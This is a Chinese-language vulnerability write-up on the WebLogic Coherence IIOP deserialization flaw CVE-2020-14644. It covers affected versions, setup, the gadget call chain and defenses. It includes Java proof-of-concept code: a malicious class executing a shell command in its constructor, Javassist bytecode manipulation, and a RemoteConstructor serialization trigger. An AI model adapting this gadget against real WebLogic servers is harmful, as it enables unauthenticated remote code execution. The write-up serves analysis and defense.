Weblogic coherence组件iiop反序列化漏洞浅析 (CVE-2020-14644)
字数 1078 2025-08-20 18:17:31

WebLogic Coherence组件IIOP反序列化漏洞分析(CVE-2020-14644)

漏洞概述

CVE-2020-14644是Oracle WebLogic Server中Coherence组件的一个严重反序列化漏洞,允许攻击者通过IIOP协议发送恶意序列化数据,在无需认证的情况下实现远程代码执行(RCE)。

受影响版本

  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0

漏洞原理

该漏洞源于WebLogic的Coherence组件在处理IIOP协议的反序列化数据时,未对输入进行充分验证,导致攻击者可以构造恶意的序列化对象触发反序列化操作,最终执行任意命令。

漏洞复现环境

  • Java版本: 1.8.0_112
  • WebLogic版本: 12.2.1.4.0 (测试发现12.2.1.3.0版本Coherence组件不完整)
  • 开发工具: IDEA (用于调试分析)

关键组件

所需JAR文件

  1. coherence.jar: 位于WebLogic安装目录下

    /Oracle/Middleware/Oracle_Home/wlserver/server/lib/console-ext/autodeploy/coherence.jar
    
  2. wlfullclient.jar: 需要手动生成

    java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar
    

    生成后位于:

    ~/Oracle/Middleware/Oracle_Home/wlserver/server/lib/wlfullclient.jar
    

漏洞利用分析

恶意类构造

攻击者需要构造一个实现特定接口的恶意类:

package org.unicodesec;

import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;
import java.io.IOException;
import java.rmi.RemoteException;

public class test1 implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {
    public test1() throws IOException {
        String cmd = "touch /tmp/rai4over"; // 恶意命令
        Runtime.getRuntime().exec(cmd);
    }

    // 接口方法实现...
}

利用Javassist修改字节码

攻击使用Javassist库动态修改类字节码:

ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test1.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.unicodesec.test1.class.getName());
ctClass.replaceClassName(org.unicodesec.test1.class.getName(), 
    org.unicodesec.test1.class.getName() + "$" + classIdentity.getVersion());

构造RemoteConstructor对象

RemoteConstructor constructor = new RemoteConstructor(
    new ClassDefinition(classIdentity, ctClass.toBytecode()),
    new Object[]{}
);

序列化与反序列化触发

byte[] obj = Serializables.serialize(constructor);
Serializables.deserialize(obj); // 触发漏洞

漏洞调用链分析

  1. 入口点: RemoteConstructor#readResolve (而非常见的readObject)
  2. 关键调用路径:
    • RemoteConstructor#newInstance
    • RemotableSupport#realize
    • RemotableSupport#defineClass (加载恶意字节码)
    • ClassDefinition#createInstance
    • 最终反射执行构造函数中的恶意代码

完整调用栈

exec:347, Runtime (java.lang)
<init>:15, test1$81646C2598E743F9FE254AB93A0FBE14 (org.unicodesec)
newInvokeSpecial__L:-1, 36333492 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 55909012 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 2083117811 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 157683534 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1148, ObjectStreamClass (java.io)
readOrdinaryObject:1817, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:27, Serializables (org.unicodesec)
deserialize:22, Serializables (org.unicodesec)
main:22, RCETEST (org.unicodesec)

防御措施

  1. 及时安装Oracle官方发布的安全补丁
  2. 限制IIOP协议的访问权限
  3. 使用Java反序列化过滤器
  4. 升级到不受影响的WebLogic版本

参考资源

  1. Oracle安全公告: https://www.oracle.com/security-alerts/cpujul2020.html
  2. 漏洞分析文章: https://www.cnblogs.com/ph4nt0mer/p/13469690.html
  3. Seebug漏洞详情: https://paper.seebug.org/1281/
WebLogic Coherence组件IIOP反序列化漏洞分析(CVE-2020-14644) 漏洞概述 CVE-2020-14644是Oracle WebLogic Server中Coherence组件的一个严重反序列化漏洞,允许攻击者通过IIOP协议发送恶意序列化数据,在无需认证的情况下实现远程代码执行(RCE)。 受影响版本 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1.0.0 漏洞原理 该漏洞源于WebLogic的Coherence组件在处理IIOP协议的反序列化数据时,未对输入进行充分验证,导致攻击者可以构造恶意的序列化对象触发反序列化操作,最终执行任意命令。 漏洞复现环境 Java版本: 1.8.0_ 112 WebLogic版本: 12.2.1.4.0 (测试发现12.2.1.3.0版本Coherence组件不完整) 开发工具: IDEA (用于调试分析) 关键组件 所需JAR文件 coherence.jar : 位于WebLogic安装目录下 wlfullclient.jar : 需要手动生成 生成后位于: 漏洞利用分析 恶意类构造 攻击者需要构造一个实现特定接口的恶意类: 利用Javassist修改字节码 攻击使用Javassist库动态修改类字节码: 构造RemoteConstructor对象 序列化与反序列化触发 漏洞调用链分析 入口点 : RemoteConstructor#readResolve (而非常见的readObject) 关键调用路径 : RemoteConstructor#newInstance RemotableSupport#realize RemotableSupport#defineClass (加载恶意字节码) ClassDefinition#createInstance 最终反射执行构造函数中的恶意代码 完整调用栈 防御措施 及时安装Oracle官方发布的安全补丁 限制IIOP协议的访问权限 使用Java反序列化过滤器 升级到不受影响的WebLogic版本 参考资源 Oracle安全公告: https://www.oracle.com/security-alerts/cpujul2020.html 漏洞分析文章: https://www.cnblogs.com/ph4nt0mer/p/13469690.html Seebug漏洞详情: https://paper.seebug.org/1281/